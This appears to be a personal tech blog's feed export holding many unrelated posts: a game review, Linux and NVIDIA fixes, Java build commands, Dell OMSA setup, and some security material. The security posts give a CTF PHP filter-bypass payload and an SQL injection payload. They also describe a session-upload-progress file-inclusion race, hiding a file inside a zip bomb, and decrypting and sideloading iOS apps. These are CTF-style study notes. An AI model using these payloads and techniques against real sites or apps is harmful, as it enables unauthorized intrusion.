以玩家、游戏开发商视角,简单评价和分析《原神》这款“现象”级游戏。
本文不能保证客观,无意冒犯任何玩家,且带有大量主观的理解和评价。
“无体验,不置评。”
我姑且算是个开服玩家了。
众所周知,原神早期深陷“抄袭”塞尔达的争议。原神在很多地方,如美术风格、大地图探索、动作系统上与《塞尔达:荒野之息》相似,这是毋庸置疑且官方承认的。
且不论借鉴本身,以一个朴素的单机玩家的视角来看,玩家何故放着更高自由度(更纯粹、约束更少)的塞尔达不玩,来玩一款二次元皮的“复制”品网游。
那时我因沉浸于老滚(《上古卷轴5:天际》)之中,简单尝完鲜后,便弃坑了原神。
初期印象:开放世界RPG玩家的手游替代品、又肝又氪。
我回坑很大程度上讲是被枫丹(法国、欧洲的国度背景)吸引的。作为开放世界RPG爱好者,我知道我玩原神的目的就是沉浸式的剧情体验。角色强度之类,完全就不在主要考虑范围内,只需要能够过大世界、任务足以。属于是把原神玩成了单机游戏。
由于米哈游用了一些手段来延长原神的游玩时长,导致想要一股脑过主线看剧情是很困难的,为了防止玩游戏的过程变质成为打工,最终我大概用了2个月完成了原神3年的主线(4.2)剧情。
个人感觉,从3.0开始,原神的剧情(此处讨论的均为主线)质量有了比较明显的进步,这个质量体现在许多方面且很难标准话衡量,不过我的侧重点在于剧情的沉浸感如何。
抛开剧情本身内容(不要说什么12+剧情要什么内容的深刻程度,简单、老套的剧本用适当的表现手法也能够精彩),3.0以前,作为角色扮演的主角与事件的参与感不足,好像与整个事件隔着一层障壁。比如说稻妻剧情中珊瑚宫与幕府的战斗像是过家家,后面反叛军突入天领奉行府更是有些莫名其妙,这些问题应该出在剧情中的细节刻画、铺垫以及衔接上。
3.0开始,剧情的节奏有了变化,能够提供一个长时间的连续剧情沉浸感,而不是一个个片段的突兀的连接。值得一提的是,须弥以及枫丹主线中都提供了一个推理的过程,以提供玩家一个清晰的解谜和线索寻找的过程,一个疑团加上逐步的线索寻找的游戏设定,有助于提供玩家明确的游玩目标和持续的好奇驱动。笔者认为这是3.0后剧情连贯性和沉浸感提升的重要因素,而前面版本剧情中长时间的低反馈过程(东跑西跑收集材料、打怪),难免会让玩家感到有些脱离剧情和无聊。
可以说,须弥后的剧情称得上出乎意料,让我也能觉得这个剧情值得深思,游戏值得一玩。
今天的原神,虽然仍然存在许多争议,但它获得的成绩已经足够说得上是一款成功的作品了,至少在国内各大厂商摆烂的环境下,原神可以称得上国产3A大作。因此原神也是值得分析与借鉴的———以玩家与开发商视角。
正如前文所述原神的确有许多借鉴了塞尔达的地方,不过也不可否认原神存在许多自己的创新,今天的原神可能只能说是一款像塞尔达的游戏了。赛尔达的成就已不必多说,作为游戏开发商,借鉴一款成功的作品是无可厚非的,玩法、美术风格的借鉴或相似也很难上升到抄袭。不过某种程度上,这个抄袭相关的争议反而使得原神“黑红”,难以评判是否是米哈游刻意为之的结果。
原神具有诸多TAG,如二次元、抽卡、网游、开放世界,这给原神带来了多元化的属性,也使得原神成为了一个各种特性和玩法的“缝合怪”。不仅如此,原神中的剧情也是各种文学、影视、神话的缝合,类似于用着模板讲着属于提瓦特版本的新故事。“缝合怪”对于厂商而言未必是贬义词,因为这样这款游戏才能最大限度的吸引各类玩家群体,某种程度上也减少了创作的成本。当然,至于缝合怪对于玩家而言是褒是贬就不太好说了,也许一些玩家爱看同类型的故事,也或许一些玩家觉得太过老套,缺乏新意。不过必须注意,能否比较完美的缝合,每个部分是否都能做好也是一大难点。整体上表现不错,但是单独拎出却问题百出,也是十分常见的情况。如今尘歌壶不上不下的维护状况也可见一斑。
原神的盈利核心在于抽卡。玩家几乎仅能通过抽卡的方式获取自己喜欢的角色、武器。抽卡所需要的消耗品均可以免费获取,但是比较缓慢且需要投入较多时间,一般完成一个月的活动和每日任务能够获取大概50抽,平均70-80出5星物品(保底机制)。0氪玩家想要需要保持每月活跃才能够保证稳定的每月一个5星。然而获取到目标的5星物品是不确定的,因为50%保底歪常驻的概率,使得要想保证必须要有160抽的量(大保底:第一次歪后第二次必定出)。卡池驻留时间是20天,错过一次可能需要等待大概1年时间才有复刻。此外由于专武、命座的存在,使得0氪玩家可能需要投入比较大的时间成本才可以通过抽卡获得自己满意的结果。如果用金钱换时间,已知小月卡30元能够提供额外大概20抽每月(需要每日上线),一个648大概能得到50抽,剩下的就交给小学数学解决了。
不得不说,这是个非常成功的盈利模式,一个简单的随机机制巧妙地利用了玩家的赌徒心理,因而带来相当可观的收益。命座和专武带来强度和体验的质变更是为强迫症玩家量身定制。因此抽卡的模式也常常被诟病,米哈游“骗氪”也是玩家们习以为常见怪不怪的操作了。
原神在细节上的处理明显有在进步,比如一些镜头的表现手法、无缝过渡对减少游戏割裂感有很大的帮助。但是和国外单机游戏大厂相比,仍然存在许多进步的空间。
以我的视角来看,原神的世界任务由于没有配音,体验不算好,虽然存在一定的条件限制,但是并非完全没有弥补手段。这样直接导致了一些长支线任务(如森林书)令人诟病。
奖励机制在游戏中的重要性无需多言,奖励给玩家提供了正反馈,然而原神的奖励仍然是匮乏的。在原神大世界中基本只有原石能够激励玩家进行探索,即便如此探索所能获取的原石也十分有限,玩家对大世界探索的没有动力、提不起兴趣成了一大问题,即便到了枫丹也没能改观。由于这直接关乎游戏的盈利,因此这个问题恐怕永远没法真正解决,无论大世界内容、玩法如何改变。为了更清晰的体现这个反馈过程,我以我熟悉的老滚5举例:玩家在探索过程中,可能偶遇一些事件,完成这些事件能够直接或间接提供一系列的奖励,玩家因而得到一个正反馈。如偶遇一个怪物,击败怪物后能够获得经验(提升等级),并且可能掉落一些物品,这些事物均能够使玩家角色得到提升,让玩家感受到持续的探索的努力有持续的回报和提升(成就感)。对比起来原神的奖励就显得有些不足,由于奖励的一元化(原石),大多数事件得到的奖励显得十分贫瘠,甚至并不能感受到角色的提升,这很大程度扼杀了玩家在大世界的无目的探索行为。这样,回想大世界也只能用来东跑西跑,刷特定的角色武器材料,多少失去了原本开放世界RPG的初衷。
确实,这里我以国外的单机3A大作与原神对比是有失公平的。因为怎么说原神算是一款F2P网游,再加上“缝合怪”的特性,不可能照顾的面面俱到,这种不足也算是能够理解。
心血来潮想写一篇关于原神评论,直到提笔时才发现自己文笔匮乏,不过笔者也不是文科生出身,那就纯粹一些,就当是随意记录一下自己的感想吧。
今天看了 MHYYYY 老师对原神的分析,鉴于本文基本以一个单机RPG玩家的视角分析,存在比较大的局限性,可以借他的视频补充更客观的视角:
YouTube
As we know, AirDrop is Apple’s proprietary protocol.
However, it is possible to use AirDrop on non-Apple devices and enable those devices to work with Apple devices.
Of course, there are some prerequisites and limits.
I’m specifically using Android as an example in this article.
At the time of writing, I haven’t finished the tool’s development.
References to papers published by Secure Mobile Networking Lab, we can fully understand how AirDrop works:
The AirDrop’s web service runs at application layer. And AWDL operates at the data link layer and the physical layer.
Besides, I found that on macOS, the receiver registers a mDNS service not only on the AWDL interface (awdl0) but also on all network interfaces (lo0, en0) after discovering a BLE advertisement.
On macOS we can enable the capability to browse all interfaces. With it on, sharing via AirDrop will discover devices on non-AWDL interfaces.
Although the AWDL protocol is very complicated and difficult to implement, AirDrop does not absolutely rely on AWDL on macOS. So we can replace AWDL with any other Ethernet without looking into it.
Everyone
modeBrowseAllInterfaces
is turned on and Ethernet (non-WiFi) is connected, sharing via AirDrop will be able to discover devices on the LAN.Note: even though condition 4 is not fulfilled, other devices can AirDrop to the Mac
Just some samples
BrowseAllInterfaces
Run the following command:
1 | defaults write com.apple.NetworkBrowser BrowseAllInterfaces 1 |
Meanwhile, you can turn it off by:
1 | defaults write com.apple.NetworkBrowser BrowseAllInterfaces 0 |
Use a Bluetooth LE Advertisement to activate Mac’s AirDrop.
1 | package com.i1nfo.anydrop |
1 | package com.i1nfo.anydrop |
Send request to AirDrop files.
TODO
Register a mDNS service and create a HTTP server to receive files.
TODO
参考互联网上的相关资料,编译器与编程语言几乎是同步发展起来的,发展过程可以分为几个阶段:
在 21 世纪后仍然有许多新兴的编程语言,如函数式编程语言Haskell,优秀的内存安全性与性能的Rust,用于微服务的 Go,基于JVM 平台的Android 官方开发语言 Kotlin,Apple平台的Swift等。这些新的编程语言设计之初都有着不同的侧重点,并且相比老牌编程语言拥有着更加优秀的表达能力,伴随着也拥有着完善的编译体系,比如有强大的lint静态分析工具,以及更出色的编译期优化。优秀的语言与编译套件固然能大大提升软件开发效率。
不过新兴编程语言的快速发展少不了基础设施的逐步完善。LLVM (原Low Level Virtual Machine)的出现,可以让任意编程语言前端编译到一个LLVM中间表示(IR),再由LLVM 中的后端编译至任意平台(指LLVM 所支持的大多数主流平台),并且可以在多个阶段中实现优化。LLVM 极大地简化了编程语言编译器的开发过程,不同语言只需要实现语言到LLVM IR的前端编译程序,再调用LLVM后端编译器,就可以得到编译至任意平台的能力,而无需为不同的平台实现不同的编译器。如Rust和Swift 的编译器就使用了 LLVM 作为后端。不过随着时代发展,其他语言也能通过 GCC(GNU Compiler Collection)的 IR来实现最终编译阶段,目前 Rust社区也在积极尝试使用GCC作为后端的编译器,以使用 GCC 的优化和平台支持。
值得一提的是,正如如上文所述,LLVM和 GCC(原GNU C-Compiler) 如今已不再是某个具体的工具,而已然成为了一套编译基础设施。LLVM 和 GCC 不仅提供了一系列编译器,也主要提供了一些C/C++语言相关工具,如 LLVM 的Clang工具链(包含clang-tidy、clang-format)。
一些语言的分析工具:
clang-tidy
、rust-clippy
、clangd(LSP)
、rust-analyzer(LSP)
C/C++
的内存检测工具,用于检查内存泄露以及异常内存使用并能返回问题代码位置。一些语言(如 Java、Python、JavaScript)的运行依赖于运行时(Runtime)并常常带有虚拟机(VM)和解释器。这些语言有是脚本语言不需要编译,或者是可编译为跨平台的字节码。不过这些语言性能通常较静态且直接编译为机器码的语言低许多,原因也是很明显的,因为其需要在运行时先解释代码再执行。
不过如今也有许多技术手段能够提升这些语言的性能。下文将主要以 JVM平台调优举例说明。
根据现代语言发展的情况来看,跨越不同编程语言之间的鸿沟变得越来越小,语言也逐渐在一些方面趋同。比如如今在 JVM 平台上可以运行多种语言,甚至可以通过使用GraalVM Compiler对接 LLVM,使得C/C++、Rust 代码得以在 JVM 上运行,实现多语言之间无缝调用。反之,在底层平台逐步扩大的同时,上层的语言也变得能够扩张到任何平台,比如 Java、Kotlin 最初在JVM 上运行,到可以编译为原生机器码或者WASM在WebAssembly平台上运行。
不过,在另外的一个方面,迅速发展的 AI领域,AI 编程也变得不再遥远。如今,AI 能够帮助人们编写一些代码,再到未来 AI 拥有完全的编程能力,AI 能自主完成任意项目的编程工作,迅速编写一套操作系统或是大型软件都不在是问题。如果到了那个时候,任何的编程语言都不再是编译的关键。再往大胆一点的构想,AI 自身是如今的这个编译器,输入的自然语言(或抽象需求,下同)也就是今天的编程语言。如果今天的编程、编译过程可以看做自然语言到编程语言再到机器码的两阶段过程。此时,AI 就实现了自然语言直接到机器码的一步转换,那必然是编程、编译效率的极大提升。
At the time of writing this blog. Some tools (Like uiautomatorviewer
) in the Android SDK are not compatible with ARM macOS.
However, the uiautomatorviewer
is a Java program. It can be easily “hacked” to run on ARM machines.
Zulu-8
(Java 9+ may has more difficulties to work well. I gave up to make it run on openjdk-19
)Goto the Android SDK tools directory.
1 | cd ANDROID_HOME/tools |
Create lib/aarch64
directory.
1 | mkdir lib/aarch64 |
Copy lib/x86_64/swt.jar
to lib/aarch64/swt.jar
1 | cp lib/x84_64/swt.jar lib/aarch64/swt.jar |
Copy SWT 4.20 jar to lib/aarch64/
as swt2.jar
1 | cp /downloaded/swt/jar/path lib/aarch64/swt2.jar |
uiautomatorviewer
Make sure you are currently running Java 8
1 | java -version |
In ANDROID_HOME/tools
, run the command:
1 | bin/uiautomatorviewer |
Since Java 9, -Djava.ext.dirs
parameter was unsupported.
You should try to use -classpath
instead.
-classpath
is useless when using -jar
.
To add external classes when running a jar, should use -Xbootclasspath/a:
instead.
1 | java -Xbootclasspath/a:"lib/aarch64/swt2.jar:lib/aarch64/swt.jar:lib/others.jar" -XstartOnFirstThread -jar lib/uiautomatorviewer-26.0.0-dev.jar |
I’ve tried this, but ran into some other issues.
本文测试平台:
本文将主要基于对易校园
App 进行的相关测试分析,文中简写为 yxy
本文中的砸壳指的是去除 App Store 对应用添加的加密。本文不细探究砸壳原理。
砸壳原理以及手动砸壳推荐参考文章: iOS逆向(11)-砸壳原理剖析,主动加载所有framework
CrackerXI+
iOS 端自动砸壳工具, 可以通过添加(如 http://cydia.iphonecake.com 源)安装。动态脱壳,生成 ipa。对于不同的app应该根据情况来使用工具,并不能保证存在某个万能的砸壳工具。
Clutch
在 iOS12+ 目前不能够良好运作,详见 #233。
由于 yxy 体积较小,使用最简便的砸壳工具 CrackerXI+
直接可以砸壳并打包为 ipa。
对于一些游戏,由于体积庞大,使用动态脱壳工具时可能会出现未响应和闪退,导致脱壳失败。故使用静态脱壳工具,解密应用的所有二进制文件(包含主程序和动态库)。flexdecrypt
运行在 iOS 上,对单一二进制文件进行解密(可以在单主程序和少量动态库的情况下使用)。而 appdecrypt
可以通过指定应用目录进行批处理(包含动态库)。
砸壳的主要目的在于去除二进制文件的加密,是否打包成 ipa 并不关键。如果了解ipa文件结构,自己手动将.app
打包成 ipa 也不是难事。
下文主要iOS应用在macOS上的侧载,而非 iOS 平台的侧载。iOS的侧载途径繁多而且也有大量的参考资料。
最简单的侧载方式就是使用 sideloadly(使用Apple账号自动重签名和安装),由于其并不开源,也不能清楚研究其运作机理,因此本文不对其探究。下文将介绍手动侧载 app(在启用SIP的情况下)。
当拿到砸壳后的 .app
, .ipa
后。由于砸壳后的 app 中的文件已经修改过了,原应用的签名也就失效了,应用也无法启动(除非关闭了SIP以及签名验证)。于是,必须在对app进行修改后重新签名。
Apple的签名机制比较复杂,两层签名其中还包含Apple提供的一层签名(这是无法被伪造的)。因此重签名的证书需要通过一些Apple认证的渠道获取。
App签名证书几种形式:
后面两种形式不太容易获取,而第一种对于少量使用需求的场景还是可以接受的。
重签名主要使用工具:ios-app-signer。这个软件可以对app的一些属性进行修改、添加描述文件后进行签名,并打包成 ipa。简化了重签名过程中一些繁琐的步骤。
ios-app-signer
工具的主页有对签名过程的说明。 不过,使用时需要注意的一点是,provisioning profile
(描述文件)选项需要设定为具体的描述文件,而不是Re-Sign Only
,否则之后很可能无法运行(运行报错)。如说明中的步骤,可以通过创建一个Xcode项目,配置Signing & Capabilities
选项卡中的Team
, Bundle Identifier
,即可自动创建描述文件(不允许使用与app store中应用相同的id),编译(iOS)后会在描述文件中添加设备绑定。在添加描述文件的同时,application id
会也随之改变。
ios-app-signer
的所实现的功能也可以通过一些Xcode
提供的工具手动实现,比如codesign
。
不过笔者目前还未研究出Sideloadly
全自动重签名实现的方式。根据一些搜寻,推测大概与Apple iCloud协议、”Apple anisette data” 有关。不过另一个较大关联的工具AltSign,用于支持AltStore(用于iOS侧载),可能可以提供一些相关的细节。
app签名后不可再做任何修改,如有修改必须重新签名。
现在我们有了签名后的 .ipa
或 .app
包。.ipa
解压可得.app
(iOS)。
首先,通过双击ipa文件来安装是不可能的。我们知道macOS可以运行.app
包。但是,iOS上的.app
和macOS上的文件结构并不相同,且iOS的app不可直接在macOS运行,二进制可执行文件也不允许直接运行。
不过,iOS的.app
软件包只需要一个Wrapper
(包装),即可在macOS上运行了。
文件结构为:
1 | /Applications/yxy.app |
打包好的应用双击运行。如果弹出“yxy供Info用于个人测试目的”对话框,则在设置里隐私设置允许即可。
app中文件的时间/权限属性变动也可能导致无法运行。
因此在从.ipa
中提取.app
时则需要格外的小心。
笔者在尝试使用 IPA-to-APP-M1 脚本时,发现生成的app包无法运行(如下图)。
研究了一些时间后,比较稳妥的解决方案是使用 unzip
或解压软件来提取 .app
。使用 python 的 zipfile
提取可能会丢失某些关键文件的权限和时间属性信息(尚不确定)。
附:笔者patch后的ios2m1工具,使用 unzip
替换原解压库。
如果测试能够运行,则可以移动至 Applications
(应用程序)目录中方便日后使用。
关键词:NVIDIA, Arch Linux, suspend
最近好不容易迁移到了Wayland,但是小问题还是不少,其中一个关键问题就是从休眠(suspend)恢复后(此问题貌似与Wayland无关),gnome-shell中的文字和图标大多消失了,GUI只剩下骨架。
在网上搜索GNOME休眠后文字消失(google: gnome missing characters after suspend)相关问题,大多都是若干年前的讨论,经过测试,对于我的情况没有任何帮助(大多是和当初的Intel核显驱动或N卡开源驱动还有Linux内核有关)。当然最后还是找到了一定帮助的文章,才把问题定位到了NVIDIA闭源驱动上。
在Fedora论坛找到了最近几个月关于此问题的讨论,才知道NVIDIA Suspend已经成为了一个标准问题。Arch Linux Wiki也有相关的解决方案,其中也指出了NVIDIA驱动的说明文档的链接(还好有NVIDIA官方解决方案)。推荐阅读一下官方提供的说明文档。
Arch Wiki描述的过于简单,中间还是有一些坑的,既然坑我已经踩了,下面直接放上最终解决方案好了。
Arch Linux上的nvidia包已经处理好systemd相关的事情,直接使用systemctl即可。其他发行版可能需要自行处理systemd添加相关service。
这里假设你已经添加了nvidia内核模块。
新建 /etc/modprobe.d/nvidia-power-management.conf
添加 nvidia 内核模块选项
1 | options nvidia NVreg_PreserveVideoMemoryAllocations=1 |
1 | sudo systemctl enable nvidia-suspend.service |
重启后生效。
休眠过程与计算机的电源管理方案有密切联系,一般计算机为了在休眠时提供更好的续航能力(默认情况下),会将一些设备关闭,其中包括显卡。本来显卡进入休眠状态也没有什么问题,但是独立显卡的显存却是和内存独立的,显存掉电数据会丢失。不过操作系统(驱动程序)肯定会考虑这些问题,在用户执行suspend命令时,还会执行一些准备程序(其中会保存一些必要的设备状态信息)才会进入休眠状态。当然,显卡的系列操作是驱动程序决定的。不过如上面nvidia驱动说明所述,默认状态驱动程序是很保守的,仅保存必要的显存数据(到内存或磁盘)。
这样的操作导致了显示数据的丢失,再次恢复后,由于应用程序(如gnome-shell)不知道数据的丢失(认为像字体之类的数据之前已经渲染过了,直接使用之前的显存状态,并没有重新渲染),导致了大量的UI元素丢失。
于是解决问题的方式也很简单,把所有显存都拷贝到持久的存储器,或者改变电源管理方案(这里没有写),不让显卡断电。
最后,只能说还是N卡驱动太坑了。
SO…. fuck you NVIDIA!
]]>前情提要:听说Linux上N卡闭源驱动有了较大的更新,比如添加了drm和Xwayland硬件加速支持。正好手头Manjaro滚炸了(很久没更新了,大概跟新驱动有关),直接新装Arch Linux + GNOME + Wayland套餐。不过中间Wayland之路经历了很多曲折,期间多次放弃Wayland滚回Xorg。。。
仅仅提供一个参考,具体还得看平台和使用场景。
环境:
如上图,标准的I+N双显卡游戏本。
注意,在写本文的时候,I+N方案Wayland支持程度仍然很差,当然使用Xorg性能也依然不佳(不然也不会想方设法去用Wayland
本文默认已经装好Arch Linux和GNOME,并且使用的是稳定版(非lts)内核。
参考Archwiki所述Wayland需求
https://wiki.archlinux.org/title/Wayland#Requirements
个人认为,N卡使用Wayland的基本需求就是启用DRM和设置kms。
先安装NV驱动,两个包,nvidia
和nvidia-utils
。然后直接配置DRM和kms。
如Archwiki配置:
https://wiki.archlinux.org/title/NVIDIA#DRM_kernel_mode_setting
额外注意事项:
early loading
模式intel_agp
和i915
两个内核模块。设置完这些后重启电脑应该能在gdm选项内看到Wayland,如果没有,也可以通过此方法强制启用Wayland。
这些操作以后,Arch Linux就可以在Wayland模式下工作了。
如果你想要连接外部显示器,是有可能出现连接后没有反映,但是设置里面是能识别到外接屏幕的。具体什么原因我也不想深究,注:下文所述的一些原理都只是个人推测,请不要全部当真。
下面只根据我的一些思路和一些Archlinuxcn社区的朋友的帮助,提供一个针对我的电脑的解决方案,希望能给予一定参考价值。
我的MSI笔记本和大多I+N双显卡游戏本默认使用混杂模式,即两个显卡同时启用。这样有好处:使用核显工作功耗更低,使用独显可以获得更好性能。这个技术也叫NVIDIA Optimus。
可是众所周知Optimus在linux上体验并不是很好。在Xorg下,使用PRIME之类的解决方案还算过得去。但是在Wayland下,双显卡方案基本没有支持。在上文的安装条件下,基本会成为主I卡,副N卡的局面,I卡负责输出,N卡辅助提供加速。外接显示器大概是直连N卡的。所以外接显示器大概就没有了显示输出(个人的无端猜想)。
所以,按照道理来讲,关闭混杂模式,单独使用独显应该就可以了吧。
事实上,我在BIOS设置里关闭了核显(或者设置主显卡为独立显卡后),笔记本内屏就不再显示了,包括之后BIOS设置界面也得使用外部屏幕。其实这种解决方案并不是关闭混杂模式,只是关闭了核显,只允许显卡输出罢了,下文会讲述原因。不过,也不得不说,屏蔽掉核显之后(仅有外部显示器),Wayland在外接屏幕上工作的还算不错。
不过我后来还是回到了双显卡Xorg单外接显示器(避免多显示器画面撕裂)方案。
这样的妥协显然不是完美的解决方案。
阴差阳错下,我得知一个Archlinuxcn的群友可以实现Wayland多屏幕(但是存在内建屏幕亮度无法调节的问题)。了解后得知他使用了显卡直连的模式(需要主板支持),抱着试试看的态度,发现了我的MSI笔记本是支持切换模式的(如下图)。
不过之前一直没有注意这个东西,默认状态为MS-Hybrid
(混杂模式),一看名字就知道是给Windows做的功能。然后切换为Discrete
离散模式。
这个显卡直连的意思大概是显卡与显示器(应该是内屏)连接的模式,默认工作在混杂模式(如上文所述的I+N混合工作方案,内建屏幕的输出核显负责的,N卡只是提供加速,所以在混杂模式开启的情况下,屏蔽核显会导致内屏直接停止工作),换成离散模式后,两个显卡的切断了联系,各自都可以直接对内建屏幕提供输出,这时候设置主显卡为N卡就有了意义,内屏直接连接显卡。
题外话,不止对于Linux用户,离散模式主N卡可以提供比混杂模式更好的性能,不过功耗更高。
这样配置后,后面的事情也就不用多说了,Wayland双屏幕终于算是完美实现了。
至于上面提到的内建屏幕无法调节亮度(无论Xorg还是Wayland),在我的MSI上没有遇到,可能是显卡比较老的缘故。不过这个问题已经在NVIDIA开发者论坛上有人在探讨了,应该不久就会跟进修复。
如果你有背光亮度问题,入口:
https://forums.developer.nvidia.com/t/laptop-backlight-control-regression-with-465-24-02/175585/80
与Keyserver进行连接操作时,无论如何都会返回Network unreachable错误。
Google后,在lists.gnupg.org上找到前人相同的问题反馈,得到解决方案。错误原因未知,大概和网络连接模式(tor)有关。
编辑~/.gnupg/dirmngr.conf
配置文件(无则创建),添加:
1 | standard-resolver |
重启后生效。
]]>我的业务场景是使用protobuf(Google Protocol Buffers)进行客户端与服务端之间通信的数据封装。正如pb文档所说,pb没有提供多信息流式传输的支持,而如果使用如TCP(面向流的协议)就不能直接传输pb了。所以需要自己定义一个协议来进行信息分隔。
注:代码位于gist.github.com,如果无法加载样例代码,请手动点击链接访问。
]]>最近在学习OSTEP这本书,留个课后习题笔记。
chapter cpu-api
8. Write a program that creates two children, and connects the standard output of one to the standard input of the other, using the pipe() system call.
1 |
|
参考了一下网络上的题解,原代码感觉不是很优雅,用了不建议使用的函数,于是理解原理后,改写了一个比较优雅的版本。
]]>重载左右位移符号用于iostream。
1 |
|
使用友元函数使得全局函数operator<</>>
可以访问私有成员变量。
压缩炸弹在一些攻防场景下可能有一些意料之外的用途
已知一个压缩炸弹bomb.zip
已知一个需要混入其中的文件,flag
查看zipinfo
目标就是将属性值做到一模一样,这样就不容易被发现。
先修改文件的修改时间
1 | touch -d "1982-10-08 13:37:00" flag |
将flag
混入bomb.zip
中
1 | zip -kgjX bomb.zip flag |
defN
需要在flag中填充一些重复字符,以使用哈夫曼编码,当然,文件体积相似也挺重要,最好填充一些相同字符,将体积填充到与其他文件相同。b-
tx
bx
需要构造好文件内容,b代表binary,文件中有一些不可见字符即可,t代表text。近期运维一台服务器(Dell PowerEdge R910),发现没有服务器健康监控面板,运维十分痛苦。于是打算安装Dell官方提供的服务器管理工具。OMSA: Openmanage Server Administrator;PVE: Proxmox Virtual Environment。
OMSA在Dell官网可以很容易下载到,不过只提供了Windows版本和Redhat(CentOS)版本,而且官方说法,新版OMSA不支持R910(我不信邪),大概是Dell懒得做适配和维护。
网上有许多PVE6.x/Debian10的OMSA的安装教程了,我也就是站在前人的基础上,做个升级的操作。
安装过程就是使用Dell EMC OpenManage Ubuntu and Debian Repositories
(官方)源,安装OMSA,不过由于OMSA比较新的版本没有适配Debian,使用这个源(等于使用Ubuntu的源),得事先处理一些依赖的问题。
注:虽然在Debian使用Ubuntu源十分野蛮,不过重点在于结果而不在于过程,只是利用到了这个源的便利性,安装完毕即可删除源。
不过毕竟已经从Debian10到了Debian11,老的OMSA版本就不适用了,于是直接使用支持Ubuntu focal的版本10.01。
注:以下命令均在root用户下执行
1 | wget https://linux.dell.com/repo/pgp_pubkeys/0x1285491434D8786F.asc && \ |
1 | echo "deb http://linux.dell.com/repo/community/openmanage/1001/focal focal main" > /etc/apt/sources.list.d/linux.dell.com.sources.list && \ |
1 | wget http://archive.ubuntu.com/ubuntu/pool/universe/o/openwsman/libwsman-curl-client-transport1_2.6.5-0ubuntu3_amd64.deb && \ |
1 | apt install srvadmin-all -y |
1 | touch /opt/dell/srvadmin/lib64/openmanage/IGNORE_GENERATION #忽略更新 |
1 | /opt/dell/srvadmin/sbin/srvadmin-services.sh enable && /opt/dell/srvadmin/sbin/srvadmin-services.sh start #启动服务 |
CentOS马上要退出历史的舞台了,能换Ubuntu就换Ubuntu吧….
为啥我要维护这老CentOS服务器 :(
CentOS6早已停止维护,就没啥可说的了。后面两个问题还是可以挽救。2可以通过使用docker-ce源解决。3可以通过更新内核+重启解决。
但是下面还是得额外讲一下问题3的解决办法,更新内核生效需要重启服务器,对于生产环境的服务器并不可以随便重启。
特征:使用host模式没有问题(必然)。但是使用bridge模式的network,宿主机不能ping通容器,容器也不能ping通宿主机(因特网就更加不可能),但是同个network下的容器可以互相ping。
如上,这是CentOS的内核版本问题。这里讲述的就是不更新内核修复问题的办法。
因为内核中的网桥模块加载失败,众所周知docker创建bridge模式的network会创建一个网桥(与服务器的网卡NAT转发,相当于共享服务器的网卡上网)。
既然模块坏了,网桥创建也就出了问题(docker仍然会创建网桥,但是那个网桥是有问题的)。因此,就需要手动创建网桥。
安装bridge-utils软件,使用brctl show查看所有网桥。如果网桥后面的interface含有一些虚拟网卡(veth开头)。如下,那就记录下网桥的名称(docker0是docker的默认网桥,不指定network时就会使用)。如果该网桥ID为8000.000000000000则代表该网桥不正常。
停止docker服务,关闭网桥,如:ip link set dev br-xx down
删除网桥: brctl delbr br-xx
新建网桥: brctl addbr br-xx
启用网桥 ip link set dev br-xx up
启动docker服务。
]]>Intellij IDEA一键构建,一键打包虽好,可是不了解编译,打包的过程也是不合理的。
看了网上好多Java构建,打包的命令,感觉有些臃肿与麻烦。于是想投机取巧,试试能不能简单的一条/尽量简单的命令完成目标。
ENV:
Javac:
1 | ➜ ~ javac |
太多了,下面只讲述我一般需要用的。
-d
指定的输出目录,如果输入有多文件,会自动根据包分文件夹。-classpath
如果有依赖的库,就要加上。@<filename>
从外部文件读取字符,插入命令中。单文件编译没有什么问题,多文件编译就头大了。网上的教程是说使用一个sourcelist
存放源代码文件的路径,然后javac @sourcelist
编译,可是治标不治本,还得手动写sourcelist
。
于是,打算利用一下shell的便利尝试一条命令完成目标。
1 | javac -d out $(find src -name "*.java") |
jar命令就是Java的打包命令
1 | ➜ ~ jar -h |
命令说明文档还是写的很好的。看文档解决大多问题(不会被CSDN一堆无脑人乱忽悠。
jar -cfvm
-c
创建档案-f
指定输出的档案文件,否则就stdout输出。-m
指定manifest文件-v
显示细节同样一行命令:
1 | cd out && jar -cfvm ../out.jar ../src/META-INF/MANIFEST.MF com ; cd .. |
如果只想将class文件打包(如果有其他文件混入,并且不想要打包进去):
1 | cd out && jar -cfvm ../out.jar ../src/META-INF/MANIFEST.MF $(find com -name "*.class") ; cd .. |
注:需要cd更换工作目录,不然jar会把out也打包进去。
]]>先通过一个题目来认知:
题目截图
这题根据php源码,可以很快了解题目意图。总之就是在一大堆限制中构造payload读取flag。
这个题目,首先要满足$_GET['flag']
和$exam
字符串长度相等,$exam
的长度可以确定。并且,不能通过参数数组绕过。
下面一大堆正则表达式,上面说过,由于存在字符长度的检测(且不能通过数组绕过)所以这里的正则就不能通过数组的方式绕过了。
再下面就是一个eval函数,payload构造的重点就在于此。由于正则表达式的存在,eval中就不能使用PHP函数了。echo等关键方法也被过滤了。
所以这里就引出PHP标记<?=?>
的特性了。
PHP 有一个 echo 标记简写
<?=
, 它是更完整的<?php echo
的简写形式。
于是用这个标记,就能构造出打印$flag
的payload了。由于flag字符被过滤了,可以使用字符串操作构造出flag
此题的payload:
1 | /?flag=$a='xlag';$a{0}='f';?>1111111111111111111<?=$$a?> |
中间的1111是占位符,满足前面字符长度的要求。
从一个题目里分析:
1 |
|
这是一个SQL注入题。题目提供了源码。
由于上面的clean()
函数会让构造的payload中的引号转义了,就没法通过添加引号进行SQL注入了。
不过,我们可以用手段将SQL query 中的 '
转义了。比如在payload末端加入 \
(反斜杠)将query中的name
的后面一个 '
转义。例如,得到下面的结果:
1 | SELECT * FROM users WHERE name='admin\' AND pass='2333' |
这样得到name='admin\' AND pass='
pass
被包含到name
里面去了。于是输入的password就暴露了出来,可以直接注入SQL语句了(注意:pass后面还有一个 '
但是只需要把它注释掉即可)。
于是,根据题目意思,构造payload。可以看到,payload中没有一个分号
1 | /?username=\&password=or%201=1%23 |
注:%23为#的URL编码。
利用条件:
通过POST上传文件的同时添加 PHP_SESSION_UPLOAD_PROGRESS
form-data参数和自定义的**PHPSESSID
** cookie,form-data可以是任意值(PHP恶意代码),发送后form-data值会临时保存在session文件(文件路径以及命名方法同PHP session配置)中,如当cookie值为abcd时对应路径为**/tmp/sess_abcd**(默认)。
不过,如前面提到的临时,POST文件上传结束(请求结束后),session文件中的内容就会自动清空(默认)。所以,通过”竞争“,进行多线程请求,使session文件中保持内容的概率增加,然后再通过已有的include或文件读取方法将其中的PHP代码执行达到目的。
]]>注:此方法并不需要有真实的文件上传接口,也不用关心上传文件的内容(尽量大一些,可以延长session存在时间)
